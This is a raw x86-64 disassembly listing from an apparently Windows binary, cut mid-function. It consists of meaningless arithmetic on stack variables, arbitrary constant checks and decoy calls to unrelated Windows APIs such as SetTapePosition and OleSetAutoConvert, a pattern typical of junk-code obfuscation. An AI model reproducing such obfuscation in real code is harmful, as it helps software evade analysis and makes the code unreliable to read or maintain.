mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d8]
shl eax, cl
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
sar eax, cl
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
cmp dword [rsp + 0x5478], 0xd04f
jae 0x14005ca77
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0x5520], eax
cmp dword [rsp + 0x5520], 0x1754af8e
je 0x14005cc7b
jmp 0x14005ccf6
movzx eax, byte [0x140289810]
mov byte [rsp + 0x5524], al
cmp byte [rsp + 0x5524], 0x24
je 0x14005cc9f
cmp byte [rsp + 0x5524], 0xd2
je 0x14005ccdc
jmp 0x14005ccf1
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x9c38]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9cb0]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x236]
mov ecx, dword [rsp + 0x53f8]
call fcn.14023bc60
nop
jmp 0x14005ccf1
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x5528], eax
jmp 0x140238a9f
mov eax, dword [rsp + 0x5454]
add eax, 0x7f
mov dword [rsp + 0x5454], eax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x236]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov word [rsp + 0x1380], ax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
add eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d0]
sub eax, ecx
mov word [rsp + 0x16d8], ax
movsx eax, word [rsp + 0x16d8]
movsx ecx, word [rsp + 0x16e0]
sub eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9d38]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x54c8]
movzx ecx, al
mov eax, dword [rsp + 0x53f0]
shl eax, cl
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ce8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x140288008], al
movzx eax, byte [0x140289810]
movzx ecx, byte [rsp + 0x236]
and eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [rsp + 0x234], al
movzx eax, word [rsp + 0x16cc]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
and eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9d38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9cb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9dc8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
sar eax, cl
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0x9c60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9dc8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
and eax, ecx
mov word [rsp + 0x16e0], ax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
movzx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9d78]
mov qword [rsp + 0x9dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9dd0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9d38]
movzx ecx, al
mov rax, qword [rsp + 0x9578]
shl rax, cl
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d8]
and eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
movzx eax, word [rsp + 0x16dc]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
cmp dword [rsp + 0x5454], 0x66e8
jb 0x14005ccf6
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9600]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c50]
mov rdx, qword [rsp + 0x9ce8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d29b
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x16dc], ax
movzx r9d, byte [rsp + 0x234]
movzx r8d, byte [rsp + 0x231]
mov rax, qword [rsp + 0x9c28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c58]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x14005d30b
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
lea rax, [rsp + 0x9578]
mov qword [rsp + 0x9dd8], rax
mov rax, qword [rsp + 0x9600]
mov qword [rsp + 0x9de0], rax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x234]
xor eax, ecx
mov byte [0x140288009], al
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x552c], eax
cmp dword [rsp + 0x552c], 0x344f11c2
je 0x14005d338
cmp dword [rsp + 0x552c], 0x73b9007a
je 0x14005d385
jmp 0x14005d3f1
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16d0]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x234], al
mov ecx, 0x1b
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [rsp + 0x54c8], eax
jmp 0x14005d3f1
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x16c4]
sar eax, cl
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0xe
mov r9d, 0x9e
mov r8d, 0xfe
mov edx, 0xbc
mov rcx, qword [rsp + 0x9de8]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x54fc], eax
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x230]
and eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov rdx, qword [rsp + 0x9c68]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jl 0x1402389df
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov byte [rsp + 0x5530], al
cmp byte [rsp + 0x5530], 2
je 0x14005d4c1
cmp byte [rsp + 0x5530], 0x6f
je 0x14005d46e
jmp 0x14005d5f5
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0x9cb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
shl eax, cl
mov byte [rsp + 0x236], al
lea rcx, [rsp + 0x9578]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x54f8], eax
jmp 0x14005d5f5
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9dc8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x16c4]
xor eax, ecx
mov word [rsp + 0x16cc], ax
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x230]
movzx edx, byte [rsp + 0x233]
and ecx, edx
cmp eax, ecx
jg 0x14005d583
lea rdx, [rsp + 0x2b108]
lea rcx, [rsp + 0x2b148]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x5534], eax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16e0], ax
jmp 0x14005d5f5
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9ce8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov rdx, qword [rsp + 0x9d00]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14005d5f5
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x9c78]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x9cb0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x9c38]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rax]
call fcn.14023bc60
nop
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov qword [rsp + 0x9df0], rax
cmp qword [rsp + 0x9df0], 0xfffffffffffff440
je 0x14005d61b
jmp 0x140238875
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x16cc]
or eax, ecx
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x16c4]
add ecx, edx
cmp eax, ecx
jg 0x14005d669
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140289810], al
jmp 0x14005d74b
movsx eax, word [rsp + 0x16e0]
movsx ecx, word [rsp + 0x1380]
add eax, ecx
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x16d0]
sub ecx, edx
cmp eax, ecx
jge 0x14005d74b
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x5538], eax
cmp dword [rsp + 0x5538], 0x24581b0a
je 0x14005d6c5
cmp dword [rsp + 0x5538], 0x27cbcac8
je 0x14005d72f
jmp 0x14005d74b
mov r8d, 0x3d
lea rdx, [rsp + 0x9c30]
lea rcx, [rsp + 0x2b158]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x553c], eax
movzx eax, word [rsp + 0x16cc]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x9db0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x232]
call fcn.14023b310
nop
jmp 0x14005d74b
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0x231], al
movzx eax, word [rsp + 0x1380]
mov word [rsp + 0x16e4], ax
movzx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x16dc]
movzx edx, word [rsp + 0x16c8]
sub ecx, edx
cmp eax, ecx
jg 0x14005d7e8
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0x9df8], rax
movabs rax, 0xca27cde77c23f24
cmp qword [rsp + 0x9df8], rax
je 0x14005d7af
jmp 0x14005d7d3
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
jmp 0x14005d7e8
lea rcx, [rsp + 0x9d08]
call qword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [rsp + 0x54d8], eax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
xor eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ce8]
shr rax, cl
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x53f8]
shl eax, cl
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9dc0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9dd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [0x140289810]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
movsx eax, word [rsp + 0x16d4]
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e4], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c60], rax
mov eax, dword [rsp + 0x54fc]
mov ecx, dword [rsp + 0x53f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9600]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x5510]
sub eax, 0x9d
mov dword [rsp + 0x5510], eax
mov eax, dword [rsp + 0x553c]
mov rcx, qword [rsp + 0x9cb0]
mov qword [rsp + 0x9e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x231]
xor eax, ecx
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
or eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [0x140289810]
movzx ecx, byte [rsp + 0x236]
and eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c8], ax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9d38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf8], rax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, word [rsp + 0x16d0]
movsx ecx, word [rsp + 0x1380]
add eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x235]
xor eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e08]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9de0]
movzx ecx, al
mov rax, qword [rsp + 0x9ce8]
shl rax, cl
mov rcx, qword [rsp + 0x9cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9dc0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
movsx eax, byte [rsp + 0x234]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140288008], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
add eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x12a]
and eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9600], rax
cmp dword [rsp + 0x5510], 0x92f9
ja 0x14005d7e8
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x236]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
movzx edx, byte [0x140289810]
add ecx, edx
cmp eax, ecx
jne 0x14005ddf9
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5448], eax
mov eax, dword [rsp + 0x5404]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9e10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e10]
mov eax, dword [rax]
shr eax, cl
mov ecx, dword [rsp + 0x54a8]
mov edx, dword [rsp + 0x53f0]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14005ddbc
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9dc0], rax
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x5540], eax
cmp dword [rsp + 0x5540], 0x49580665
je 0x14005dd7c
jmp 0x14005dd9a
mov eax, dword [rsp + 0x54c8]
mov ecx, dword [rsp + 0x54a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
jmp 0x14005ddba
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16dc], ax
jmp 0x14005ddf9
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9dd8]
mov qword [rsp + 0x9e18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9cf8]
imul rcx, qword [rsp + 0x9dc0]
lea rax, [rsp + 0x16e4]
mov qword [rsp + 0x9e20], rax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x5518]
add eax, 0xfb
mov dword [rsp + 0x5518], eax
movzx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16cc], ax
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0x9ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9de0], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9dc0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x5448]
mov dword [rsp + 0x553c], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
add eax, ecx
mov byte [0x140289810], al
movzx eax, byte [rsp + 0x236]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
sar eax, cl
mov word [rsp + 0x16cc], ax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dd8]
mov rcx, qword [rsp + 0x9c60]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [0x140289810], al
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
